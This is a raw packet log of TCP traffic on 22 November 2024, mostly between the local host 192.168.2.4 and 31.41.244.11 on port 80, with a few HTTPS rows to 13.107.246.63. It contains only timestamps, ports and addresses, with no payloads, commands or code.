Nov 22, 2024 04:12:15.369458914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.369544029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.369637012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.369822979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.369874954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.370723963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.370774031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.370897055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.371053934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.371539116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.371587038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.371722937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.371779919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.372459888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.372504950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.372629881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.372675896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.373383999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.373573065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.373621941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.374155045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.374214888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.374317884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.374428988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.375072002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.375143051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.375237942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.375286102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.375965118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.376013994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.376133919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.376177073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.376770973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.376861095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.376945019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.376996040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.377698898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.377760887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.377863884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.377909899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.378614902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.378669977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.378770113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.379050016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.379545927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.379559040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.379594088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.379628897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.380470037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.380481005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.380546093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.381242037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.381299019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.381403923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.381659985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.382164001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.382220030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.382345915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.382401943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.383100033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.383111000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.383155107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.384483099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.384531975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.384579897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.384977102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.385011911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.385041952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.385068893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.385664940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.385720968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.385966063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.386018038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.386723042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.386758089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.386822939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.387515068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.387681961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.387732029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.388397932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.388442039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.388523102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.388830900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.388864040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.388865948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.388880968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.388900042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.388912916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.388948917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.388967991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.389278889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.391091108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.391144037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.391241074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.391285896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.392014980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.392052889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.392096996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.392923117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.392956972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.392976999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.393109083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.393805981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.393860102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.393938065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.393987894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.394685030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.394720078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.394730091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.394767046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.395431042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.395629883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.395684958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.396287918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.396480083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.396537066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.397140026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.397187948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.397423029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.398093939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.398144007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.398308039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.398359060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.399044037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.399162054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.399209976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.399247885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.399892092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.399945974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.400042057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.400089979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.400748014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.400808096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.400895119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.400940895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.401604891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.401659966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.401750088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.401806116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.402465105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.402514935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.402594090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.402642012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.403382063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.403512955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.403568983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.404226065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.404381037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.404433012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.405246973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.405282021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.405297995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.405325890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.406161070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.406197071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.406219959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.406234980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.407040119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.407092094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.407171965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.407219887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.407810926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.407859087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.408087969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.408133030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.408771038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.408818007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.408895969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.409188032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.409665108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.409720898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.409809113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.409933090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.410330057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.410382986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.410623074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.411047935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.411339998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.411389112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.411618948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.411665916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.412317038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.412369967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.412453890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.412502050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.412867069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.412910938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.413003922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.413053036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.413930893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.413968086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.413983107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.414077997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.414572001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.414855957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.414910078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.415582895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.415626049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.504419088 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.504559040 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.504676104 CET	49770	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.504832983 CET	49770	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.504859924 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.504884005 CET	49770	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.504895926 CET	443	49770	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.507191896 CET	49775	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.507220030 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.507402897 CET	49775	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.507577896 CET	49775	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:15.507592916 CET	443	49775	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:15.567991018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.568027973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.568094969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.568331957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.568485022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.568542004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.569283962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.569331884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.569384098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.570143938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.570205927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.570261955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.571024895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.571043015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.571065903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.571137905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.571916103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.571952105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.571964979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.572771072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.572823048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.572905064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.572957039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.573676109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.573800087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.573853016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.574546099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.574676037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.574726105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.575432062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.575547934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.575603008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.576319933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.576373100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.576425076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.577212095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.577260971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.577327013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.578082085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.578178883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.578196049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.578243971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.578973055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.579057932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.579087973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.579132080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.579859972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.579909086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.579982042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.580029964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.580722094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.580770016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.580836058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.580884933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.581614017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.581660986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.581727028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.581773996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.582500935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.582549095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.582614899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.582662106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.583390951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.583520889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.583570004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.584270000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.584398985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.584450006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.585155010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.585202932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.585283041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.586025953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.586076975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.586124897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.586957932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.587008953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.587013006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.587831020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.587881088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.587994099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.588042021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.588706017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.588819981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.588865042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.589581013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.589693069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.589745045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.590470076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.590519905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.590584993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.591039896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.591360092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.591408968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.591476917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.591523886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.592228889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.592288017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.592366934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.592415094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.593128920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.593183041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.593239069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.593286991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.593985081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.594037056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.594103098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.594152927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.594887018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.594940901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.595006943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.595769882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.595819950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.595901966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.596657991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.596707106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.596769094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.596815109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.597572088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.597740889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.597791910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.598419905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.598557949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.598608017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.599329948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.599431992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.599479914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.600198984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.600253105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.600332975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.601077080 CET	80	49760	31.41.244.11	192.168.2.4
